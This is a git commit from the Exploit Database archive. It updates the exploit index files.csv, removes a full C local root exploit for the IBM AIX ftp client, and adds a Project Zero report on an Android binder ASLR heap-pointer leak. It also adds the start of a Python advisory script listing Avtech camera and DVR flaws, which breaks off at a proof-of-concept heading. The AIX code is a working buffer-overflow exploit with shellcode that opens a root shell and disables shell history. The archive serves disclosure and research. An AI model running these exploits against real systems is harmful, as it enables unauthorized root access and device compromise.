DB: 2016-10-13
11 new exploits IBM AIX 5.2/5.3 FTP Client - Local Buffer Overflow Yahoo! Widgets Engine 4.0.3 - YDPCTL.dll ActiveX Control Buffer Overflow Simple PHP Blog 0.8.4 - Cross-Site Request Forgery (Add Admin) Simple PHP Blog 0.8.4 - (Add Admin) Cross-Site Request Forgery miniblog 1.0.1 - Cross-Site Request Forgery (Add New Post) miniblog 1.0.1 - (Add New Post) Cross-Site Request Forgery PHP Press Release - Cross-Site Request Forgery (Add Admin) PHP Press Release - (Add Admin) Cross-Site Request Forgery Maian Weblog 4.0 - Cross-Site Request Forgery (Add New Post) Spacemarc News - Cross-Site Request Forgery (Add New Post) Minecraft Launcher - Insecure File Permissions Privilege Escalation Maian Weblog 4.0 - (Add New Post) Cross-Site Request Forgery Spacemarc News - (Add New Post) Cross-Site Request Forgery Minecraft Launcher 1.6.61 - Insecure File Permissions Privilege Escalation sheed AntiVirus - Unquoted Service Path Privilege Escalation AVTECH IP Camera_ NVR_ and DVR Devices - Multiple Vulnerabilities sheed AntiVirus 2.3 - Unquoted Service Path Privilege Escalation AVTECH IP Camera_ NVR_ and DVR Devices - Multiple Vulnerabilities Linux Kernel 3.13.1 - Recvmmsg Privilege Escalation (Metasploit) Linux Kernel 3.13.1 - 'Recvmmsg' Privilege Escalation (Metasploit) ApPHP MicroBlog 1.0.2 - Cross-Site Request Forgery (Add New Author) ApPHP MicroBlog 1.0.2 - (Add New Author) Cross-Site Request Forgery Subversion 1.6.6 / 1.6.12 - Code Execution Cisco Webex Player T29.10 - '.WRF' Use-After-Free Memory Corruption Cisco Webex Player T29.10 - '.ARF' Out-of-Bounds Memory Corruption Adobe Flash Player 23.0.0.162 - '.SWF' ConstantPool Critical Memory Corruption Categorizator 0.3.1 - SQL Injection NetBilletterie 2.8 - Multiple Vulnerabilities ApPHP MicroCMS 3.9.5 - Stored Cross Site Scripting OpenCimetiere v3.0.0-a5 - Blind SQL Injection Android - Binder Generic ASLR Leak ApPHP MicroCMS 3.9.5 - (Add Admin) Cross-Site Request Forgery
This commit is contained in:
Offensive Security
parent
f8b17d14a1
commit
01eb066d9d
16 changed files with 1282 additions and 457 deletions
32
files.csv
32
files.csv
|
|
@ -27366,11 +27366,9 @@ id,file,description,date,author,platform,type,port
|
|||
30397,platforms/windows/dos/30397.txt,"Microsoft Windows Kernel win32k.sys - Integer Overflow (MS13-101)",2013-12-17,"Core Security",windows,dos,0
|
||||
30398,platforms/php/webapps/30398.txt,"InstantCMS 1.10.3 - Blind SQL Injection",2013-12-17,"High-Tech Bridge SA",php,webapps,80
|
||||
30399,platforms/aix/local/30399.c,"IBM AIX 5.2/5.3 - Capture Command Local Stack Based Buffer Overflow",2007-07-26,qaaz,aix,local,0
|
||||
30400,platforms/aix/local/30400.c,"IBM AIX 5.2/5.3 FTP Client - Local Buffer Overflow",2007-07-26,qaaz,aix,local,0
|
||||
30401,platforms/php/dos/30401.php,"T1lib - intT1_Env_GetCompletePath Buffer Overflow",2007-07-26,r0ut3r,php,dos,0
|
||||
30402,platforms/asp/webapps/30402.txt,"Nukedit 4.9.x - 'login.asp' Cross-Site Scripting",2007-07-26,d3hydr8,asp,webapps,0
|
||||
30403,platforms/php/webapps/30403.txt,"WordPress Plugin WP-FeedStats 2.1 - HTML Injection",2007-07-26,"David Kierznowski",php,webapps,0
|
||||
30404,platforms/windows/remote/30404.html,"Yahoo! Widgets Engine 4.0.3 - YDPCTL.dll ActiveX Control Buffer Overflow",2007-07-27,Unknown,windows,remote,0
|
||||
30405,platforms/php/webapps/30405.txt,"Bandersnatch 0.4 - Multiple Input Validation Vulnerabilities",2007-07-27,"Tim Brown",php,webapps,0
|
||||
30413,platforms/windows/dos/30413.py,"PotPlayer 1.5.40688 - '.avi' File Handling Memory Corruption",2013-12-20,ariarat,windows,dos,0
|
||||
30408,platforms/php/webapps/30408.txt,"Jenkins 1.523 - Inject Persistent HTML Code",2013-12-18,"Christian Catalano",php,webapps,0
|
||||
|
|
@ -36593,32 +36591,42 @@ id,file,description,date,author,platform,type,port
|
|||
40472,platforms/hardware/remote/40472.py,"Billion Router 7700NR4 - Remote Command Execution",2016-10-06,R-73eN,hardware,remote,0
|
||||
40473,platforms/windows/local/40473.txt,"Comodo Chromodo Browser - Unquoted Service Path Privilege Escalation",2016-10-06,Th3GundY,windows,local,0
|
||||
40474,platforms/hardware/remote/40474.txt,"Exagate WEBPack Management System - Multiple Vulnerabilities",2016-10-06,"Halil Dalabasmaz",hardware,remote,0
|
||||
40475,platforms/php/webapps/40475.txt,"Simple PHP Blog 0.8.4 - Cross-Site Request Forgery (Add Admin)",2016-10-07,Besim,php,webapps,0
|
||||
40475,platforms/php/webapps/40475.txt,"Simple PHP Blog 0.8.4 - (Add Admin) Cross-Site Request Forgery",2016-10-07,Besim,php,webapps,0
|
||||
40479,platforms/php/webapps/40479.txt,"Entrepreneur Job Portal Script - SQL Injection",2016-10-07,OoN_Boy,php,webapps,0
|
||||
40477,platforms/windows/local/40477.txt,"BlueStacks 2.5.55 - Unquoted Service Path Privilege Escalation",2016-10-07,Th3GundY,windows,local,0
|
||||
40478,platforms/windows/local/40478.txt,"Waves Audio Service - Unquoted Service Path Privilege Escalation",2016-10-07,"Ross Marks",windows,local,0
|
||||
40480,platforms/php/webapps/40480.txt,"miniblog 1.0.1 - Cross-Site Request Forgery (Add New Post)",2016-10-09,Besim,php,webapps,0
|
||||
40480,platforms/php/webapps/40480.txt,"miniblog 1.0.1 - (Add New Post) Cross-Site Request Forgery",2016-10-09,Besim,php,webapps,0
|
||||
40481,platforms/php/webapps/40481.txt,"ShoreTel Connect ONSITE - Blind SQL Injection",2016-09-19,"Iraklis Mathiopoulos",php,webapps,0
|
||||
40482,platforms/windows/local/40482.txt,"Fitbit Connect Service - Unquoted Service Path Privilege Escalation",2016-10-09,"Ross Marks",windows,local,0
|
||||
40483,platforms/windows/local/40483.txt,"Leap Service - Unquoted Service Path Privilege Escalation",2016-10-09,"Ross Marks",windows,local,0
|
||||
40484,platforms/windows/local/40484.txt,"Wacom Consumer Service - Unquoted Service Path Privilege Escalation",2016-10-09,"Ross Marks",windows,local,0
|
||||
40485,platforms/windows/local/40485.txt,"Foxit Cloud Update Service - Unquoted Service Path Privilege Escalation",2016-10-09,"Ross Marks",windows,local,0
|
||||
40486,platforms/php/webapps/40486.txt,"PHP Press Release - Cross-Site Request Forgery (Add Admin)",2016-10-09,Besim,php,webapps,0
|
||||
40486,platforms/php/webapps/40486.txt,"PHP Press Release - (Add Admin) Cross-Site Request Forgery",2016-10-09,Besim,php,webapps,0
|
||||
40487,platforms/php/webapps/40487.txt,"PHP Press Release - Stored Cross Site Scripting",2016-10-09,Besim,php,webapps,0
|
||||
40488,platforms/linux/local/40488.txt,"Apache Tomcat 8/7/6 (RedHat-Based Distros) - Privilege Escalation",2016-10-10,"Dawid Golunski",linux,local,0
|
||||
40489,platforms/lin_x86-64/local/40489.txt,"Linux Kernel 4.6.2 (Ubuntu 16.04.1) - 'IP6T_SO_SET_REPLACE' Privilege Escalation",2016-10-10,"Qian Zhang",lin_x86-64,local,0
|
||||
40490,platforms/windows/local/40490.txt,"Zend Studio IDE 13.5.1 - Insecure File Permissions Privilege Escalation",2016-10-10,hyp3rlinx,windows,local,0
|
||||
40491,platforms/multiple/remote/40491.py,"HP Client - Automation Command Injection / Remote Code Execution",2016-10-10,SlidingWindow,multiple,remote,0
|
||||
40492,platforms/php/webapps/40492.html,"Maian Weblog 4.0 - Cross-Site Request Forgery (Add New Post)",2016-10-10,Besim,php,webapps,0
|
||||
40493,platforms/php/webapps/40493.html,"Spacemarc News - Cross-Site Request Forgery (Add New Post)",2016-10-10,Besim,php,webapps,0
|
||||
40494,platforms/windows/local/40494.txt,"Minecraft Launcher - Insecure File Permissions Privilege Escalation",2016-10-11,"Ross Marks",windows,local,0
|
||||
40492,platforms/php/webapps/40492.html,"Maian Weblog 4.0 - (Add New Post) Cross-Site Request Forgery",2016-10-10,Besim,php,webapps,0
|
||||
40493,platforms/php/webapps/40493.html,"Spacemarc News - (Add New Post) Cross-Site Request Forgery",2016-10-10,Besim,php,webapps,0
|
||||
40494,platforms/windows/local/40494.txt,"Minecraft Launcher 1.6.61 - Insecure File Permissions Privilege Escalation",2016-10-11,"Ross Marks",windows,local,0
|
||||
40495,platforms/php/webapps/40495.html,"BirdBlog 1.4.0 - (Add New Post) Cross-Site Request Forgery",2016-10-11,Besim,php,webapps,80
|
||||
40496,platforms/php/webapps/40496.html,"phpEnter 4.2.7 - (Add New Post) Cross-Site Request Forgery",2016-10-11,Besim,php,webapps,80
|
||||
40497,platforms/windows/local/40497.txt,"sheed AntiVirus - Unquoted Service Path Privilege Escalation",2016-10-11,Amir.ght,windows,local,0
|
||||
40500,platforms/cgi/webapps/40500.txt,"AVTECH IP Camera_ NVR_ and DVR Devices - Multiple Vulnerabilities",2016-10-11,"Gergely Eberhardt",cgi,webapps,80
|
||||
40497,platforms/windows/local/40497.txt,"sheed AntiVirus 2.3 - Unquoted Service Path Privilege Escalation",2016-10-11,Amir.ght,windows,local,0
|
||||
40500,platforms/cgi/webapps/40500.py,"AVTECH IP Camera_ NVR_ and DVR Devices - Multiple Vulnerabilities",2016-10-11,"Gergely Eberhardt",cgi,webapps,80
|
||||
40501,platforms/xml/webapps/40501.txt,"RSA Enterprise Compromise Assessment Tool 4.1.0.1 - XML External Entity Injection",2016-10-11,"SEC Consult",xml,webapps,0
|
||||
40502,platforms/android/dos/40502.txt,"Android - 'gpsOneXtra' Data Files Denial of Service",2016-10-11,"Nightwatch Cybersecurity Research",android,dos,0
|
||||
40503,platforms/linux/local/40503.rb,"Linux Kernel 3.13.1 - Recvmmsg Privilege Escalation (Metasploit)",2016-10-11,Metasploit,linux,local,0
|
||||
40503,platforms/linux/local/40503.rb,"Linux Kernel 3.13.1 - 'Recvmmsg' Privilege Escalation (Metasploit)",2016-10-11,Metasploit,linux,local,0
|
||||
40504,platforms/android/local/40504.rb,"Allwinner 3.4 Legacy Kernel - Local Privilege Escalation (Metasploit)",2016-10-11,Metasploit,android,local,0
|
||||
40505,platforms/php/webapps/40505.txt,"ApPHP MicroBlog 1.0.2 - Stored Cross Site Scripting",2016-10-11,Besim,php,webapps,0
|
||||
40506,platforms/php/webapps/40506.html,"ApPHP MicroBlog 1.0.2 - Cross-Site Request Forgery (Add New Author)",2016-10-11,Besim,php,webapps,0
|
||||
40506,platforms/php/webapps/40506.html,"ApPHP MicroBlog 1.0.2 - (Add New Author) Cross-Site Request Forgery",2016-10-11,Besim,php,webapps,0
|
||||
40507,platforms/linux/remote/40507.py,"Subversion 1.6.6 / 1.6.12 - Code Execution",2016-10-12,GlacierZ0ne,linux,remote,0
|
||||
40508,platforms/windows/dos/40508.txt,"Cisco Webex Player T29.10 - '.WRF' Use-After-Free Memory Corruption",2016-10-12,COSIG,windows,dos,0
|
||||
40509,platforms/windows/dos/40509.txt,"Cisco Webex Player T29.10 - '.ARF' Out-of-Bounds Memory Corruption",2016-10-12,COSIG,windows,dos,0
|
||||
40510,platforms/multiple/dos/40510.txt,"Adobe Flash Player 23.0.0.162 - '.SWF' ConstantPool Critical Memory Corruption",2016-10-12,COSIG,multiple,dos,0
|
||||
40511,platforms/php/webapps/40511.txt,"Categorizator 0.3.1 - SQL Injection",2016-10-12,Wadeek,php,webapps,0
|
||||
40512,platforms/php/webapps/40512.txt,"NetBilletterie 2.8 - Multiple Vulnerabilities",2016-10-12,Wadeek,php,webapps,0
|
||||
40516,platforms/php/webapps/40516.txt,"ApPHP MicroCMS 3.9.5 - Stored Cross Site Scripting",2016-10-12,Besim,php,webapps,0
|
||||
40513,platforms/php/webapps/40513.txt,"OpenCimetiere v3.0.0-a5 - Blind SQL Injection",2016-10-12,Wadeek,php,webapps,0
|
||||
40515,platforms/android/dos/40515.txt,"Android - Binder Generic ASLR Leak",2016-10-12,"Google Security Research",android,dos,0
|
||||
40517,platforms/php/webapps/40517.html,"ApPHP MicroCMS 3.9.5 - (Add Admin) Cross-Site Request Forgery",2016-10-12,Besim,php,webapps,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
|
|
@ -1,168 +0,0 @@
|
|||
source: http://www.securityfocus.com/bid/25077/info
|
||||
|
||||
The IBM AIX FTP application is prone to a local buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it to an insufficiently sized memory buffer.
|
||||
|
||||
A nonprivileged user may trigger this vulnerability to execute code with superuser privileges. Failed exploit attempts will likely result in a denial of service.
|
||||
|
||||
IBM AIX 5.2 and 5.3 are vulnerable.
|
||||
|
||||
/* 07/2007: public release
|
||||
*
|
||||
* qaaz@aix:~$ ./aix-ftp
|
||||
* ----------------------------
|
||||
* AIX ftp Local Root Exploit
|
||||
* By qaaz
|
||||
* ----------------------------
|
||||
* bash: no job control in this shell
|
||||
* bash-3.00#
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <unistd.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/select.h>
|
||||
|
||||
#define TARGET "/usr/bin/ftp"
|
||||
#define OVERLEN 300
|
||||
|
||||
#define MAX(x,y) ((x) > (y) ? (x) : (y))
|
||||
#define ALIGN(x, y) (((x) + (y) - 1) / (y) * (y))
|
||||
|
||||
unsigned char qaazcode[] =
|
||||
"\x60\x60\x60\x60\x60\x60\x60\x60"
|
||||
"\x7c\x63\x1a\x79\x40\x82\xff\xfd"
|
||||
"\x7e\xa8\x02\xa6\x3a\xb5\x01\x01"
|
||||
"\x88\x55\xff\x5b\x3a\xd5\xff\x1b"
|
||||
"\x7e\xc8\x03\xa6\x4c\xc6\x33\x42"
|
||||
"\x44\xff\xff\x02\x38\x75\xff\x5f"
|
||||
"\x38\x63\x01\x01\x88\x95\xff\x5d"
|
||||
"\x38\x63\x01\x02\x38\x63\xfe\xff"
|
||||
"\x88\xa3\xfe\xff\x7c\x04\x28\x40"
|
||||
"\x40\x82\xff\xf0\x7c\xa5\x2a\x78"
|
||||
"\x98\xa3\xfe\xff\x88\x55\xff\x5c"
|
||||
"\x38\x75\xff\x5f\x38\x81\xff\xf8"
|
||||
"\x90\x61\xff\xf8\x90\xa1\xff\xfc"
|
||||
"\x4b\xff\xff\xbd\xb8\x05\x7c\xff";
|
||||
|
||||
void shell(int p1[2], int p2[2])
|
||||
{
|
||||
ssize_t n;
|
||||
fd_set rset;
|
||||
char buf[4096];
|
||||
|
||||
for (;;) {
|
||||
FD_ZERO(&rset);
|
||||
FD_SET(p1[0], &rset);
|
||||
FD_SET(p2[0], &rset);
|
||||
|
||||
n = select(MAX(p1[0], p2[0]) + 1,
|
||||
&rset, NULL, NULL, NULL);
|
||||
if (n < 0) {
|
||||
perror("[-] select");
|
||||
break;
|
||||
}
|
||||
|
||||
if (FD_ISSET(p1[0], &rset)) {
|
||||
n = read(p1[0], buf, sizeof(buf));
|
||||
if (n <= 0) break;
|
||||
write(p1[1], buf, n);
|
||||
}
|
||||
if (FD_ISSET(p2[0], &rset)) {
|
||||
n = read(p2[0], buf, sizeof(buf));
|
||||
if (n <= 0) break;
|
||||
write(p2[1], buf, n);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* just because you don't understand it doesn't mean it has to be wrong */
|
||||
ulong get_addr(char *argv[], char *envp[], char *args[], char *envs[])
|
||||
{
|
||||
ulong top, len, off;
|
||||
int i;
|
||||
|
||||
len = 0;
|
||||
for (i = 0; argv[i]; i++)
|
||||
len += strlen(argv[i]) + 1;
|
||||
for (i = 0; envp[i]; i++)
|
||||
len += strlen(envp[i]) + 1;
|
||||
top = (ulong) argv[0] + ALIGN(len, 8);
|
||||
|
||||
len = off = 0;
|
||||
for (i = 0; args[i]; i++)
|
||||
len += strlen(args[i]) + 1;
|
||||
|
||||
for (i = 0; envs[i]; i++) {
|
||||
if (!strncmp(envs[i], "EGG=", 4))
|
||||
off = len + 4;
|
||||
len += strlen(envs[i]) + 1;
|
||||
}
|
||||
while (off & 3)
|
||||
strcat(envs[0], "X"), off++, len++;
|
||||
|
||||
return top - ALIGN(len, 4) + off;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[], char *envp[])
|
||||
{
|
||||
char pad[16] = "PAD=X", egg[512];
|
||||
char *args[] = { TARGET, NULL };
|
||||
char *envs[] = { pad, egg, NULL };
|
||||
int pi[2], po[2], i;
|
||||
pid_t child;
|
||||
ulong addr;
|
||||
|
||||
sprintf(egg, "EGG=%s/proc/%d/object/a.out|", qaazcode, getpid());
|
||||
|
||||
if (!envp[0]) {
|
||||
setuid(geteuid());
|
||||
putenv("HISTFILE=/dev/null");
|
||||
execl("/bin/bash", "bash", "-i", NULL);
|
||||
execl("/bin/sh", "sh", "-i", NULL);
|
||||
perror("[-] execl");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("----------------------------\n");
|
||||
printf(" AIX ftp Local Root Exploit\n");
|
||||
printf(" By qaaz\n");
|
||||
printf("----------------------------\n");
|
||||
|
||||
if (pipe(pi) < 0 || pipe(po) < 0) {
|
||||
perror("[-] pipe");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
addr = get_addr(argv, envp, args, envs);
|
||||
|
||||
if ((child = fork()) < 0) {
|
||||
perror("[-] fork");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (child == 0) {
|
||||
dup2(pi[0], 0);
|
||||
dup2(po[1], 1);
|
||||
dup2(po[1], 2);
|
||||
execve(TARGET, args, envs);
|
||||
perror("[-] execve");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
write(pi[1], "macdef foo\n\n$\nfoo ab", 20);
|
||||
for (i = 0; i < OVERLEN; i += sizeof(addr))
|
||||
write(pi[1], &addr, sizeof(addr));
|
||||
write(pi[1], "\n", 1);
|
||||
|
||||
fflush(stdout);
|
||||
fflush(stderr);
|
||||
|
||||
close(pi[0]);
|
||||
close(po[1]);
|
||||
shell((int[2]) { 0, pi[1] }, (int[2]) { po[0], 1 });
|
||||
kill(child, SIGTERM);
|
||||
waitpid(child, NULL, 0);
|
||||
return 0;
|
||||
}
|
||||
146
platforms/android/dos/40515.txt
Executable file
146
platforms/android/dos/40515.txt
Executable file
|
|
@ -0,0 +1,146 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=889
|
||||
|
||||
The interaction between the kernel /dev/binder and the usermode Parcel.cpp mean
|
||||
that when a binder object is passed as BINDER_TYPE_BINDER or BINDER_TYPE_WEAK_BINDER,
|
||||
a pointer to that object (in the server process) is leaked to the client process
|
||||
as the cookie value. This leads to a leak of a heap address in many of the privileged
|
||||
binder services, including system_server.
|
||||
|
||||
See attached PoC, which leaks the addresses of allocated heap objects in system_server.
|
||||
|
||||
Output running from the shell (run on droidfood userdebug build, MTC19X):
|
||||
|
||||
shell@bullhead:/ $ /data/local/tmp/binder_info_leak
|
||||
--- binder info leak ---
|
||||
[0] opening /dev/binder
|
||||
[0] looking up activity
|
||||
0000: 00 . 01 . 00 . 00 . 1a . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
|
||||
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 6f o 00 . 73 s 00 . 2e . 00 . 49 I 00 .
|
||||
0032: 53 S 00 . 65 e 00 . 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 4d M 00 .
|
||||
0048: 61 a 00 . 6e n 00 . 61 a 00 . 67 g 00 . 65 e 00 . 72 r 00 . 00 . 00 . 00 . 00 .
|
||||
0064: 08 . 00 . 00 . 00 . 61 a 00 . 63 c 00 . 74 t 00 . 69 i 00 . 76 v 00 . 69 i 00 .
|
||||
0080: 74 t 00 . 79 y 00 . 00 . 00 . 00 . 00 .
|
||||
BR_NOOP:
|
||||
BR_TRANSACTION_COMPLETE:
|
||||
BR_REPLY:
|
||||
target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000
|
||||
pid 0 uid 1000 data 24 offs 8
|
||||
0000: 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 01 . 00 . 00 . 00 . 55 U 00 . 00 . 00 .
|
||||
0016: 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
|
||||
- type 73682a85 flags 0000017f ptr 0000005500000001 cookie 0000000000000000
|
||||
[0] got handle 00000001
|
||||
0000: 00 . 01 . 00 . 00 . 1c . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
|
||||
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 61 a 00 . 70 p 00 . 70 p 00 . 2e . 00 .
|
||||
0032: 49 I 00 . 41 A 00 . 63 c 00 . 74 t 00 . 69 i 00 . 76 v 00 . 69 i 00 . 74 t 00 .
|
||||
0048: 79 y 00 . 4d M 00 . 61 a 00 . 6e n 00 . 61 a 00 . 67 g 00 . 65 e 00 . 72 r 00 .
|
||||
0064: 00 . 00 . 00 . 00 . 05 . 00 . 00 . 00 . 70 p 00 . 77 w 00 . 6e n 00 . 65 e 00 .
|
||||
0080: 64 d 00 . 00 . 00 .
|
||||
BR_NOOP:
|
||||
BR_TRANSACTION_COMPLETE:
|
||||
BR_REPLY:
|
||||
target 0000000000000000 cookie 0000000000000000 code 00000000 flags 00000000
|
||||
pid 0 uid 1000 data 28 offs 8
|
||||
0000: 00 . 00 . 00 . 00 . 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 02 . 00 . 00 . 00 .
|
||||
0016: 7f . 00 . 00 . 00 . c0 . 19 . 9d . 8b . 7f . 00 . 00 . 00 .
|
||||
- type 73682a85 flags 0000017f ptr 0000007f00000002 cookie 0000007f8b9d19c0
|
||||
[0] got handle 00000000
|
||||
|
||||
|
||||
Debugger output from system_server
|
||||
|
||||
pwndbg> hexdump 0x0000007f8b9d19c0
|
||||
+0000 0x7f8b9d19c0 38 35 76 ab 7f 00 00 00 00 00 00 00 00 00 00 00 |85v.|....|....|....|
|
||||
+0010 0x7f8b9d19d0 65 00 6e 00 74 00 5f 00 40 d1 0c a8 7f 00 00 00 |e.n.|t._.|@...|....|
|
||||
+0020 0x7f8b9d19e0 6a 16 20 00 00 00 00 00 20 ad 81 ab 7f 00 00 00 |j...|....|....|....|
|
||||
+0030 0x7f8b9d19f0 e0 fc 7f 8e 7f 00 00 00 a0 f2 c7 8a 7f 00 00 00 |....|....|....|....|
|
||||
+0040 0x7f8b9d1a00
|
||||
|
||||
This is pretty obviously the case; the code in Parcel.cpp that flattens binder objects
|
||||
to pass via binder transactions:
|
||||
|
||||
status_t flatten_binder(const sp<ProcessState>& /*proc*/,
|
||||
const sp<IBinder>& binder, Parcel* out)
|
||||
{
|
||||
flat_binder_object obj;
|
||||
|
||||
obj.flags = 0x7f | FLAT_BINDER_FLAG_ACCEPTS_FDS;
|
||||
if (binder != NULL) {
|
||||
IBinder *local = binder->localBinder();
|
||||
if (!local) {
|
||||
BpBinder *proxy = binder->remoteBinder();
|
||||
if (proxy == NULL) {
|
||||
ALOGE("null proxy");
|
||||
}
|
||||
const int32_t handle = proxy ? proxy->handle() : 0;
|
||||
obj.type = BINDER_TYPE_HANDLE;
|
||||
obj.binder = 0; /* Don't pass uninitialized stack data to a remote process */
|
||||
obj.handle = handle;
|
||||
obj.cookie = 0;
|
||||
} else {
|
||||
obj.type = BINDER_TYPE_BINDER;
|
||||
obj.binder = reinterpret_cast<uintptr_t>(local->getWeakRefs());
|
||||
obj.cookie = reinterpret_cast<uintptr_t>(local); // <--- is a pointer to the object
|
||||
}
|
||||
} else {
|
||||
obj.type = BINDER_TYPE_BINDER;
|
||||
obj.binder = 0;
|
||||
obj.cookie = 0;
|
||||
}
|
||||
|
||||
return finish_flatten_binder(binder, obj, out);
|
||||
}
|
||||
|
||||
and the kernel code which processes this to send to the target process modifies
|
||||
the fp->handle entry, overwriting fp->binder, but does not alter fp->cookie, which
|
||||
contains the second pointer.
|
||||
|
||||
case BINDER_TYPE_BINDER:
|
||||
case BINDER_TYPE_WEAK_BINDER: {
|
||||
struct binder_ref *ref;
|
||||
struct binder_node *node = binder_get_node(proc, fp->binder);
|
||||
if (node == NULL) {
|
||||
node = binder_new_node(proc, fp->binder, fp->cookie);
|
||||
if (node == NULL) {
|
||||
return_error = BR_FAILED_REPLY;
|
||||
goto err_binder_new_node_failed;
|
||||
}
|
||||
node->min_priority = fp->flags & FLAT_BINDER_FLAG_PRIORITY_MASK;
|
||||
node->accept_fds = !!(fp->flags & FLAT_BINDER_FLAG_ACCEPTS_FDS);
|
||||
}
|
||||
if (fp->cookie != node->cookie) {
|
||||
binder_user_error("%d:%d sending u%016llx node %d, cookie mismatch %016llx != %016llx\n",
|
||||
proc->pid, thread->pid,
|
||||
(u64)fp->binder, node->debug_id,
|
||||
(u64)fp->cookie, (u64)node->cookie);
|
||||
goto err_binder_get_ref_for_node_failed;
|
||||
}
|
||||
if (security_binder_transfer_binder(proc->tsk, target_proc->tsk)) {
|
||||
return_error = BR_FAILED_REPLY;
|
||||
goto err_binder_get_ref_for_node_failed;
|
||||
}
|
||||
ref = binder_get_ref_for_node(target_proc, node);
|
||||
if (ref == NULL) {
|
||||
return_error = BR_FAILED_REPLY;
|
||||
goto err_binder_get_ref_for_node_failed;
|
||||
}
|
||||
if (fp->type == BINDER_TYPE_BINDER)
|
||||
fp->type = BINDER_TYPE_HANDLE;
|
||||
else
|
||||
fp->type = BINDER_TYPE_WEAK_HANDLE;
|
||||
fp->handle = ref->desc;
|
||||
binder_inc_ref(ref, fp->type == BINDER_TYPE_HANDLE,
|
||||
&thread->todo);
|
||||
trace_binder_transaction_node_to_ref(t, node, ref);
|
||||
binder_debug(BINDER_DEBUG_TRANSACTION,
|
||||
" node %d u%016llx -> ref %d desc %d\n",
|
||||
node->debug_id, (u64)node->ptr,
|
||||
ref->debug_id, ref->desc);
|
||||
} break;
|
||||
|
||||
In the case of 64-bit processes, we also leak the high dword of the fp->binder pointer, because
|
||||
a uint32_t is smaller than a binder_uintptr_t.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40515.zip
|
||||
|
||||
485
platforms/cgi/webapps/40500.py
Executable file
485
platforms/cgi/webapps/40500.py
Executable file
|
|
@ -0,0 +1,485 @@
|
|||
'''
|
||||
Avtech devices multiple vulnerabilities
|
||||
--------------------------------------------------
|
||||
|
||||
Platforms / Firmware confirmed affected:
|
||||
- Every Avtech device (IP camera, NVR, DVR) and firmware version. [4]
|
||||
contains the list of confirmed firmware versions, which are affected.
|
||||
- Product page: http://www.avtech.com.tw/
|
||||
|
||||
ôAVTECH, founded in 1996, is one of the worldÆs leading CCTV
|
||||
manufacturers. With stably increasing revenue and practical business
|
||||
running philosophy, AVTECH has been ranked as the largest public-listed
|
||||
company among the Taiwan surveillance industry. AVTECH makes every
|
||||
effort on the innovation of technology, product and implementation.
|
||||
Based on years of research and industry experience, AVTECH has obtained
|
||||
a leading position on mobile platform support and provides a full range
|
||||
of surveillance products.ö
|
||||
|
||||
Avtech is the second most popular search term in Shodan. According to
|
||||
Shodan, more than 130.000 Avtech devices are exposed to the internet.
|
||||
|
||||
Vulnerabilities
|
||||
---------------
|
||||
1) Plaintext storage of administrative password
|
||||
Every user password is stored in clear text. An attacker with access to
|
||||
the device itself can easily obtain the full list of passwords. By
|
||||
exploiting command injection or authentication bypass issues, the clear
|
||||
text admin password can be retrieved.
|
||||
|
||||
2) Missing CSRF protection
|
||||
The web interface does not use any CSRF protection. If a valid session
|
||||
exists for the user, the attacker can modify all settings of the device
|
||||
via CSRF. If there is no valid session, but the user did not change the
|
||||
default admin password, the attacker can log in as admin via CSRF as well.
|
||||
|
||||
3) Unauthenticated information disclosure
|
||||
Under the /cgi-bin/nobody folder every CGI script can be accessed
|
||||
without authentication.
|
||||
POC: GET /cgi-bin/nobody/Machine.cgi?action=get_capability
|
||||
Example response:
|
||||
Firmware.Version=1011-1005-1008-1002
|
||||
MACAddress=00:0E:53:xx:xx:xx
|
||||
Product.Type=DVR
|
||||
Product.ID=308B
|
||||
Product.ShortName=V_full_Indep,V_Multistream
|
||||
Video.System=PAL
|
||||
Audio.DownloadFormat=ULAW
|
||||
Video.Input.Num=8
|
||||
Video.Output.Num=1
|
||||
Video.Format=H264,MJPEG
|
||||
Video.Format.Default=H264
|
||||
Video.Resolution=4CIF,CIF
|
||||
Video.Quality=BEST,HIGH,NORMAL,BASIC
|
||||
Video.Local.Input.Num=8
|
||||
Video.Local.Output.Num=1
|
||||
Video.Local.Format=H264,MJPEG
|
||||
Audio.Input.Num=8
|
||||
Audio.Output.Num=1
|
||||
Audio.Format=ULAW
|
||||
Audio.Local.Input.Num=8
|
||||
Audio.Local.Output.Num=1
|
||||
Audio.Local.Format=PCM
|
||||
Language.Default=ENGLISH
|
||||
Language.Support=ENGLISH&CHINESE&JAPANESE&FRANCE&GERMAN&SPANISH&PORTUGUESE&ITALIAN&TURKISH&POLISH&RUSSIAN&CUSTOMIZE&THAI
|
||||
&VIETNAM&DUTCH&GREEK&ARABIC&CZECH&HUNGARIAN&HEBREW&CHINA&
|
||||
Capability=D0,80,A,80
|
||||
PushNotify.MaxChannel=8
|
||||
|
||||
4) Unauthenticated SSRF in DVR devices
|
||||
In case of DVR devices, Search.cgi can be accessed without
|
||||
authentication. This service is responsible for searching and accessing
|
||||
IP cameras in the local network. In newer firmware versions, Search.cgi
|
||||
provides the cgi_query action, which performs an HTTP request with the
|
||||
specified parameters. By modifying the ip, port and queryb64str
|
||||
parameters, an attacker is able to perform arbitrary HTTP requests
|
||||
through the DVR device without authentication.
|
||||
POC:
|
||||
